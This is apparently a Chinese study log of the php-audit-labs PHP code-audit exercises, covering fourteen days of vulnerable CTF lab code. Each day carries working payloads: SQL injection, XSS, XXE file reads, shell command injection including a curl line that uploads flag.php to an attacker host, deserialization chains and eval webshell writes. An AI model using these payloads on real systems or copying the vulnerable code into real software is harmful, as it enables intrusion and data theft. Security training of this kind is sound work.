打算在代码审计上入下坑。本来找了个不知名cms想审计一下的。偶然间看到了星盟王叹之师傅在用php-audit-labs练审计,所以自己也打算练一下审计的技术,毕竟自己审计功力太差了…p牛也曾经说过,练习审计到能看懂一个完整的CMS就算有一定功底了。所以就把php-audit-labs的全部都过一遍吧。
(最近也总算熟练了一下node跟python相关的开发入门。等之后找时间把java入门知识过一遍,再把ECMAscript6的基础过一遍就差不多了)
Day1
in_array()
任意文件上传漏洞。主要问题在于in_array()
函数的使用不当。如果未设置in_array()
第三个参数为true则我们可以通过上传7shell.php
绕过检查。因为7shell.php
被转换为7.
同样出现在某cms中利用这点可以绕过进行insert_into注入
当in_array()绕过后轻松达成注入。1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
练习
config.php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
这题的in_array()
并不是难点。因为只要id开头为数字就能绕过了
主要问题在于后面注入上。
所幸语句中会爆出sqlerror.在过滤了这些关键字的情况下仍可以使用报错函数,select,from等基本就足够得到flag了。
不过这里存在一个细节,就是updatexml这样的报错函数如果语句中不包含特殊字符也就是我们原来经常使用的0x7e之类的字符,爆出的结果将会出现字符丢失的现象。
所以找替代的字符串连接函数即可.make_set()
?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
其实自己原来做sql注入的题目也曾搜索过相关的内容。比如在concat被过滤的情况下不使用group_concat
将所有查询结果都列出来。当时发现make_set()
是能起到concat一样的效果的。但是注意的是,make_set
至少接收两个参数,因此必须使用逗号。concat
类则不然。
Day2
filter_var()
题目主要是在两处存在过滤。首先是twig模板里出现的link被escape了
然后是一个filter_var()函数
这里escape过滤器调用的实际上是htmlspecialchars()
函数。作用自然是将常见的特殊字符转为实体字符。
而filter_var()
在curl的ssrf中就曾见过。主要检查一个url是否合法。
因此代码逻辑主要是经过过滤后生成一个a标签。
那么可能存在self-xss
官方的payload?nextSlide=javascript://comment%250aalert(1)
达到弹窗的self-xss. 使用javascript伪协议绕过
巧妙的就是利用filtervar的缺陷轻松使用xxx://的形式绕过检查。然后也可以进行js语句的执行。重要的一点就是//在js中是注释符。因此使用%250a(double urlencode %0a 以绕过浏览器自动的解码)将后面的内容换行到下一行。成功执行alert.
某cms中的利用是,在访问404页面存在这样的代码
<code><?php echo current_url(); ?></code>
current_url()方法接受完整的404url参数。返回最后一个/后的内容拼接进code代码块。即可以插入xss代码<script>alert(1)</script>
导致了xss
payloadhttp://localhost/anchor/index.php/<script>alert('1')</script>
练习
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
一个明显的curl。而且还是经典的可绕过的filter_var()
+parse_url()
+exec()
执行curl的配置。
那现在关键是利用这个来进行文件读取。
比如把之前的可绕过filter_var()
+parse_url()
的payload拿出来
demo://evil.com:80;sec-redclub.com:80/
demo://evil.com:80,sec-redclub.com:80/
这里想要执行命令读取文件。那么恰好可以用到linux中使用分号进行命令分割的作用。demo://%22;ls;%23;sec-redclub.com:80/
然后为了读文件使用<
代替空格demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/
单纯针对filter_var的话把七月火师傅的payload放出来
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23
Day3
class_exists()&&内部类xxe
上面的代码有一个比较过时的路径穿越的文件包含的洞。
即调用class_exists()
函数时会自动加载__autoload()。达成文件包含。如果是ph5-5.3则可以构造路径穿越。
还有一个洞比较有意思。实例化类的类名和传入类的参数均可控。此时即使没有恶意类我们也能用SimpleXMLElement构造xxe攻击。这点我在buu上做
SUCTF 2018 Homework这题时也用到了它达成xxe并进一步使用xxe打ssrf
某cms的利用是一个可控变量带来的反序列化XXE.具体利用不谈。简单说下gadget最后的利用。类中实现了一个反射类实例化。而类名可控。之后连反射类的参数也是可控的。导致我们可以任意实例化SimpleXMLElement并构造xxepayload进行攻击。
根据实际情况构造payload{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
这里几个参数尤其是2那个印象很深刻,同时也很必要。SUCTF那题就是如此{"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}
练习
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>
利用经过上面的铺垫就很简单了。直接用可控的参数进行xxe即可。但是需要注意的是,xxe需要进行php文件流来进行内容读取。因为< > & ' "
等字符会使xml解析出错。不过用base64读文件这种解决办法想必早就是轻车熟路了吧。?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>¶m2=2
假如题目不知道flag的名字还可以用另外的类进行文件名的读取。?name=GlobIterator¶m=./*.php¶m2=0
作用与glob差不多。
Day4
str_pos()错误使用
php许多函数因为弱类型或黑魔法诞生了各种各样的漏洞。str_pos()也是如此。上面的代码看似严格限制了内容不能含有<
与>
。然而str_pos返回的值可以是0.
即匹配的字符串首个字符就是<
,>
。既然如此,!strpos()
返回的就是真值。成功绕过。
payload:<"><injected-tag%20property="&pass=<injected-tag>
同样类似的漏洞也常见于preg_match()这样的函数。因为它可能会因为传入数组或者正则回溯导致返回false值。如果开发者所写的判断只是!preg_match()
就很容易绕过了。
某CMS中的问题也是弱类型的锅。使用若类型相等判断时,假如数据库中存储的值是空字符串。那么当null与””进行弱类型相等时将返回true.
null=='' //true
"0.0"=="0" //true
"0."=="0" //true
"0e"=="0" //true
练习
这是攻防世界上做过的原题。应该是lottery这个把。用到的是json的弱类型。json弱类型判相等时,只要传入true与非零数字。结果都将返回true
json弱类型比较出名的一个比较就是数字与字符串之间的转换
0=="0a....sds"
12=="12fw...sd"
789=="789asabxz"
字符串会被直接截取前面的纯数字部分进行判断
Day5
escapeshellcmd()+escapeshellarg()
主体上就是一个过滤了后的mail函数执行。
mail函数的参数是这样的
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
由于默认调用的是linux的sendmail函数,所以可以在message
中写入恶意代码。接着由additional_parameters 指定额外参数,从而写入在指定目录写入文件。
但是,php的mail函数也在底层默认执行了一层escapeshellcmd()
函数,那么显然转义了我们的恶意代码。
不过,本题代码还有一处经典的escapeshellarg()
。如果escapeshellarg()
+escapeshellcmd()
搭配使用,将出现特殊字符逃逸的问题。
buu上也有一个类似的题目.这里则借用项目里的例子简单介绍下
127.0.0.1' -v -d a=1
#escapeshellarg
'127.0.0.1'\'' -v -d a=1'
#escapeshellcmd
'127.0.0.1'\\'' -v -d a=1\'
此时最后一步可以看出,\\
将被解释为\
不再起到转义的作用,而是作为换行符。因此payload变为先是127.0.0.1
,再-v -d
-d对应的数据为a=1'
.
比如CVE-2016-10033 跟CVE-2016-10045的两个payload
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
前者没有escapeshellcmd直接打。后者escapeshellcmd后又加了一层escapeshellarg导致字符逃逸。
练习
//index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>
很明显的变量覆盖,之后要绕过waf。再接下来就是escapeshellsmd/arg的搭配进行命令执行了。
首先要解决的是,我们必须绕过preg_match的限制才能传入flag变量。因此要利用好它写好的这个功能。
首先这里利用了可变变量的特性。假设我们提交
?flag=test
post:_GET[flag]=test
当开始遍历 $_POST
超全局数组的时候, $__k
代表 _GET[flag] ,所以 $$__k
就是 $_GET[flag]
,即 test 值,此时 $$__k == $__v
成立,变量 $_GET[flag]
就被 unset 了
而接下来下面又有一个变量覆盖if($_POST) extract($_POST, EXTR_SKIP);
所以直接得到$_GET[flag]=test
绕过第一层
第二层只需利用0e的MD5弱类型比较
最后是curl的命令执行http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999
似乎当curl版本变高后,将不再能执行。curl '127.0.0.1'\''
Day6
正则不当导致路径穿越
任意文件删除漏洞。主要是preg_replace()
函数的使用不当。忽略了../../
这种路径。可以使用路径穿越进行任意文件删除
练习
// index.php
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
练习里的正则写的十分罕见。其实使用到的是php的字符类。除了一看就懂的upper这些,其他的字符类的含义是
graph 空格以外的可打印字符
punct 打印字符,不包括字母数字
主要函数里,第一个正则表示匹配到可打印字符12个以上;第二个正则表示把连续的符号、数字、大写、小写,作为一段,至少分六段;第三个正则表示输入的字符串至少含有符号、数字、大写、小写中的三种类型。
最后与数字进行弱类型比较。
payload
42.00e+00000
红日的文章里还提到了一个配置不当写shell的问题。
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
这个是不带修饰符模式的正则匹配.
第一种方法
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a
第一个payload写入内容后只有一个单引号被转义的问题。而第二部分再传入一个a时就会因为.*
匹配无数次而把\
换掉
还有两种preg_replace的方法、这里提下第二种,也就是还适用于单行(非贪婪)模式的payload。之前安恒的套娃web2里出现过。
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=$0
其最后的效果是下面这样的
<?php
$option='$option=';phpinfo();';';
Day7
parse_str()变量覆盖
parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。
所以此处存在的变量问题就是parse_str()
处理了我们可控的参数后,是可以起到控制全局变量的效果的。因此可以控制$config
变量及其对应的参数。达成变量覆盖。
解决这类变量覆盖问题的最好方法还是通过检查某一变量是否已经设定过了(isset()
)。这样在没有设定过变量的else分支才能安全使用parse_str()
练习
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
第一部分是一个比较刻意的parse_str()
变量覆盖的用例。只要解决md5弱类型比较的问题就好了
?id=a[0]=s878926199a
第二部分先是注意一个referer头要带上。之后就是一个读flag的问题了。因为flag的内容会在挂起0.1s然后被替换掉。所以需要我们去条件竞争。当然这里上传目录是固定的。所以就可以放心发包了。
Day8
preg_replace
这是一个自己刚了解CTF不久时接触的一个preg_replace()
在/e
下存在代码执行的漏洞了。当然这个洞是php5.5版本的
我们的参数可以控制preg_replace的第一,三个参数。达成任意代码执行。
然后当时也是读到一篇文章专门讲到这里payload的构造
原本官方的payload
/?.*={${phpinfo()}}
如果GET请求的参数名存在非法字符,PHP会将其替换成下划线,即.*
会变成 _*
而实际可行的payload
\S*=${phpinfo()}
练习
// index.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
// index2.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
已经司空见惯的无数字字母webshell书写了
留一个FUZZ脚本
<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
$ch = '{'^ chr($i);
if (in_array($ch, $a , true)) {
echo "{ ^ chr(".$i.") = $ch<br>";
}
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);
?>
```
payload1
```
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
```
payload2
```
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();
```
上次做36d的某道题自己用了最极限的无数字字母且不能异或取反的webshell。也就是通配符加上php临时文件命令执行。那个应该算是比较难用的,但可以解决大部分waf了
## Day9
### str_replace()过滤不当
![](10.png)
一个比较明显的过滤函数问题。它只是将`../`替换为空。那么很容易就能使用`....//`进行双写绕过
然后就是`require_once()`的文件包含了。
CMS实例就是造成路径穿越,得到任意文件读取。
当然双写/url二次编码进行路径穿越的技巧其实也算很常见了。
### 练习
```php
/ index.php
connect_error){
die('连接数据库失败');
}
$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "Welcome come to HRSEC message board
";
echo <<
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "id message
";
while($row = $result->fetch_row()){
echo "$row[0] $row[1] ";
}
echo "";
}
$conn->close();
?>
```
```php
// function.php
$new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}
function convert($str){
return htmlentities($str);
}
$limit_words = array('造反' => '造**', '法轮功' => '法**');
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>
```
// config.php
```php
# 搭建CTF环境使用的sql语句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');
```
可控的msg变量被拼接进sql语句。但是却经过了html实体编码,转义,过滤个别词的操作。
不过,在function.php却存在很明显的变量覆盖漏洞。那么我们可以通过覆盖`$limit_words`数组,来逃逸单引号.
最后payload
```
1%00' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))#&limit_words[\0\]=
1%00' and updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1))#&limit_words[\0\]=
```
## Day10
### 程序判错未exit()
![](11.png)
这里的问题主要是:代码虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题
此处`extract()`得到了一个变量覆盖的利用
加上`assert()`,所以pi变量直接给webshell代码即可
我个人一次体验比较深的经历是:在htb的某个靶机中。有一处php代码中曾经限定只有指定用户访问(检查session),才会显示其ssh密钥。而此时我们的权限是www-data.看似无法获得ssh密钥,但是其代码中出现了疏忽,在对user的session判别后没有立即`exit()`.那么当我们以www-data直接本地curl这一网页时,将可以得到密钥,进而提权。
### 练习
```php
// index.php
$val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '查询结果为:
'.<<
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>
```
显然,程序如果检测到非法字符或单词,都会将其替换成字符串 HongRi ,然而并没有立即退出,这样攻击者输入的攻击语句还是会继续被带入数据库查询。只不过这里关键词都被替换成了字符串 HongRi
简单的使用benchmark替换sleep即可盲注
```
-1 or if(ascii(mid((select flag from flag),1,1))=115,benchmark(200000000,7^3^8),0)
```
## Day11
### php反序列化
![](12.png)
(第11行正则表达式应改为:'/O:\d:/')
首先确认了存在反序列化。且数据是cookie可控。那么考虑下绕过执行反序列化。
那么看下loaddata里的限制
开头不能是`O:`,即反序列化内容不为对象
同时需要不能匹配字符串为`O:任意十进制:`
如果只是第一部分当然可以使用数组绕过。但是这样第二部分还是会匹配到数组中的对象成分。
这里用到的是一个比较老的绕过方法了。即使用`O:+`绕过。而原理可以涉及到底层源码。函数遇到`+`号时会继续向下判断,因此可以正常反序列化。
最后就能成功执行写文件webshell了。
### 练习
```php
method = $method;
$this->args = $args;
$this->__conn();
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function source() {
highlight_file(__FILE__);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
?>
```
```php
//config.php
```
```php
// flag.php
```
先从简单的看起,首先是SoFun类。显然绕过wakeup即可include可控数据flag.php。但是需要注意flag.php限制了必须`defined('IN_FLAG')`。
注意到HITCON类则有一个跟前面例子一样的loaddata。那就可以用相同方法绕过执行反序列化。
HITCON类login方法显然存在sql注入,且loaddata就是在这里被调用的。那么我们需要让loaddata传入的数据为SoFun类的文件包含序列化数据。
而这一数据来自`$obj->role`.
`$obj`是sql语句的返回结果。而sql表结构中第三个字段role正是我们需要的。那么只要利用这个sql注入进行union查询就达成`$obj->role`可控。
由于析构函数中可以控制我们调用的方法及参数。所以以上思路可以执行。
最后注意的是。HITCON类的wakeup会对sql语句进行转义。所以我们用同样的方法绕过wakeup即可
`O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}`
## Day12
### htmlentities()处理不全
![](13.png)
这里的代码存在一个xss攻击.
输出点在一个a标签。同时输出时经过了一次htmlentities.不过这个函数`htmlentities()`并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制
此处默认值的话是不会转义单引号的。
同时前面在变量覆盖时传入的变量只对`$value` 进行类型转换,强制变成int类型。但是这部分代码只处理了 `$value` 变量,没针对 `$key` 变量进行处理
所以payload是
`/?a'onclick%3dalert(1)%2f%2f=c`
绕过intval的同时执行了a标签的onclik事件,达成xss.
### 练习
```php
<?php
require 'db.inc.php';
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
#echo $query;
$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
?>
这里首先要达成sql注入,自然比较关心是否能闭合单引号。但是注意到,此处的htmlentities严格转义了单双引号。不能进行闭合。
但是不用引号闭合的另外的办法就是非常常见的\
进行转义。这样password的值就变成可控的注入位置了。
接下来比较关心的是代码中对username与password关键字的过滤。这里过滤很简单,其他盲注之类的方法当然可以做到。不过这里可以用到一个容易被忘记的小技巧:
php.ini中默认
如果以 POST 、 GET 方式传入相同的变量,那么用 REQUEST 获取该变量的值将为 POST 该变量的值
所以post数据会覆盖掉get的数据。我们用post传正常的payload、再用get执行sql语句即可
get:username=\&password=union select 1,flag,3,4 from ctf.users%23
post: username=1&password=2
Day13
waf失效进行sql注入
本题显然代码中存在sql语句拼接。但是只有一个addslashes,除非是二次注入否则不能利用。
然而代码中却出现了很弱智的检查substr()
,其长度被定死为20.那么我们只要卡在这个点使用单引号就能导致转义失效了
user=1234567890123456789'&passwd=or 1=1#
在某CMS中,对sql语句进行了htmlentites处理。但是同时数据在传入前会进行一次urldecode。我们知道,在waf检测后再进行解码操作无疑是具有危害性的。(比如json_deocde如果在waf检测之后的话,就能用unicode绕过任意字符waf)
练习
//index.php
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result=mysql_query($sql);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>
这个练习很有营养。用到了几个php的特性
1.传入的非法的 $_GET
数组参数名,PHP会将他们替换成下划线
2.传入多个相同参数时,php只会接受最后一个(类似js了)
3.$_SERVER['REQUEST_URI']
方式获得的参数,并不会对参数中的某些特殊字符进行替换
本题代码中,$_REQUEST
的数据会经过dowith_sql
处理。而之后第二个waf会对$_SERVER['REQUEST_URI']
进行dhtmlspecialchars()
处理.
那么此处思路如下,使用payloadi_d=padyload&i.d=123
经过第一次waf时,php会将参数中的某些特殊符号替换为下划线。因此便得到了两个i_d,其中不含恶意代码的i_d
内容通过检查。
经过第二次waf时,由于代码是通过 $_SERVER[‘REQUEST_URI’] 取参数.检查的实际上是我们初始传入的payload。这里由于是数值型注入,所以可以直接union得到flag
payload
submit=&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123
Day14
变量覆盖+路径穿越
这里的代码在析构函数里有写文件的方法。因此只要id可控就能控制路径。同时看到构造函数里存在变量覆盖,那么利用起来就不难了。
payload
id=../var/www/html/shell.php&shell=',)%0a<?=eval($_REQUEST[byc]);?>//
因为实际上写入的内容是:
array(
'id'=>'../var/www/html/shell.php',
'lost'=>0,
'bought'=>0,
